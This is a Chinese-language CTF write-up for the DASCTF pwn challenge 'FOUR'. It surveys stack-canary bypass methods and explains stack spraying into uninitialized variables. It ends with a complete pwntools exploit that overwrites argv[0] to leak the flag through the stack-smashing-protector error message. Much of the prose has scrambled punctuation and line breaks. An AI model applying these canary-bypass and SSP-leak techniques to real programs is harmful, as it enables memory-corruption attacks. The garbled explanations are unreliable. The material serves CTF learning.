DASCTTF WRITE UP
FOUR
考察点:
- canary的绕过方式
- 代码的硬审计能力
栈喷射” 脏数据感染未初始化数据“
安全检测:
- 全RELRO
则got表不可改, - 存在canary
对应题设, 。 - 堆栈可执行
但有canary, - 无地址随机化
,
关于canary的几种绕过方式:
- 什么是canary
: - canary是一种栈保护机制
是操作系统在bp指针的一个低地址单元插入的一串随机数, 在栈函数流程执行完后, 则拿出canary在栈上的数据和原canary值比对, 若相同则透明, 若不同则报错, 。
- canary是一种栈保护机制
- 绕过方法一
泄漏canary: - 格式化字符串泄漏栈数据中的canary
, - 相同的函数调用时调用相同canary
借助其他函数, 或篡改的rop链读出canary, - 无已知printf函数
无法构造rop链, 则不行,
- 格式化字符串泄漏栈数据中的canary
- 绕过方法二
fork函数爆破: - 对fork而言
作用相当于自我复制, 每一次复制出来的程序, 内存布局都是一样的, 当然canary值也一样, 。 - 逐字节爆破
fork函数为一个特殊函数拥有两个返回三种状态, >0返回父函数, == 0继续子进程, <0发生错误, , 两反三态( ) - 逐字节进行循环
若和已有canary不同, 则错误, 开启一个新的子进程, ,
若符合 则读取已有之后的canary, 脚本进行接收符合条件, ,
并进行下一字节循环的爆破 直到探明为止, 。 - 无fork函数
则不行,
- 对fork而言
- 绕过方法三
got表篡改: 恶意触发canary错误, 调用目标函数, - 若___stack_chk_fail() got表可改
则可考虑篡改got表为目标函数, 从而满足功能如, get shell /open flag: - full RELROgot表不可改
不行,
- 若___stack_chk_fail() got表可改
- 绕过方式四
___stack_chk_fail() argv[0] 可控: 则恶意触发canary错误, 打印栈中数据, SSP LEAK( ) - argv[0]是指向第一个启动参数字符串的指针
将其篡改为目标地址, 则可读出栈中内容, - 该题采用本方法进行flag读出
。
- argv[0]是指向第一个启动参数字符串的指针
IDA反编译看下: ( 重点是过硬的代码审计能力)
–>已将重要变量重命名以及流程代码的标注
- main函数的几个分支选项——–>菜单页面
- choose 1 ——–> 读出printf的got表地址
可进行leak_libc但关闭标准错误, 因为ssp需要抛出错误信息( 若关闭则使得ssp失效, )
choose 2 ———->调用一个可开极大栈空间的函数
之后将输入内容加密输出, 看似没用但这里正是做题关键点, 栈喷射: 。 - 栈喷射是个大而宽泛的概念
主要应用于极大空间的栈溢出的内容的构造, 。 - shellcode的nop sled以及前后栈帧非初始化变量的感染都属于栈喷射
- 栈喷射是个大而宽泛的概念
choose 3 ———> 官方提示的目标危险函数
- 函数操作
将传入的前几个参数进行加密: 并输入文件名以开启复制有s1变量读入的dest变量, 调试output.txt存在为空。 则dest可未初始化, 若被从前栈帧上的脏数据感染则可open flag, 。
- 函数操作
- 脚本调试
: - 向choose2喷射满
flag\x00” 字符“ - 当函数调用完成
栈空间释放, 上一个函数的数据实际并不被擦除或覆盖, 这些数据仍然存在于栈上, 只是不被当前函数在访问, 标记为删除, 若下个函数重新申请空间, 则再将栈空间内存进行初始化覆盖, 这里若下一个函数的变量未进行初始化。 则会被上一个栈帧的脏数据感染赋值, 。 空安全( ) - 脚本调试与结果
:
- 向choose2喷射满
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
choose 2 的canary地址落于
choose 3 的canary落于
两函数栈帧几乎重叠开启
若flag\x00字符串读入未初始化变量dest
- choose 4 ———> 一个需要构造参数的read函数
- 主要考察是否对asc码敏感
先给出asc表进行参考:
- 主要考察是否对asc码敏感
- fd 文件描述符
: - 文件检测符检测到~号使得数组i[]中
第二个参数的asc码—0的asc码的值, 赋为文件描述符, - 如
51-48=3:
- 文件检测符检测到~号使得数组i[]中
- v6 read地址
:
- 在检查一个字符数组 i 中的某个位置 j 是否满足以下条件
: - 位置 j 上的字符是冒号
:( ) 。 - 位置 j + 1
j + 2 和 j + 3 上都有字符, 。 - 位置 j + 4 上没有字符
。
如果满足这些条件
- 将变量 v6 的低字节设置为位置 j + 1 上的字符
。 - 将变量 v6 的次低字节设置为位置 j + 2 上的字符
。 - 将变量 v6 的高字设置为位置 j + 3 上的字符
将其转换为无符号整数( ) 。 - 跳出循环
。
- v1
长度( ) : - 检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
- choose 5—–>栈溢出 ssp触发器
思路:
- choose 2写脏数据
感染choose 3的dest变量, 将flag读出, 调用choose 4 read函数将flag变量读到已知栈内存中。 通过choose5将arg[v0]值改为上方法写入的flag地址。 即可触发SSP, 从而get flag, 。 - IDA测出arg[v0]的偏移为
0x10+0xdef0-0xe008=0x128: 手动调试是0x118, 。
EXP:
from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')
p.sendlineafter(b"1. yes\n2.no\n",str(2))
p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)
p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)
p.interactive()
引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288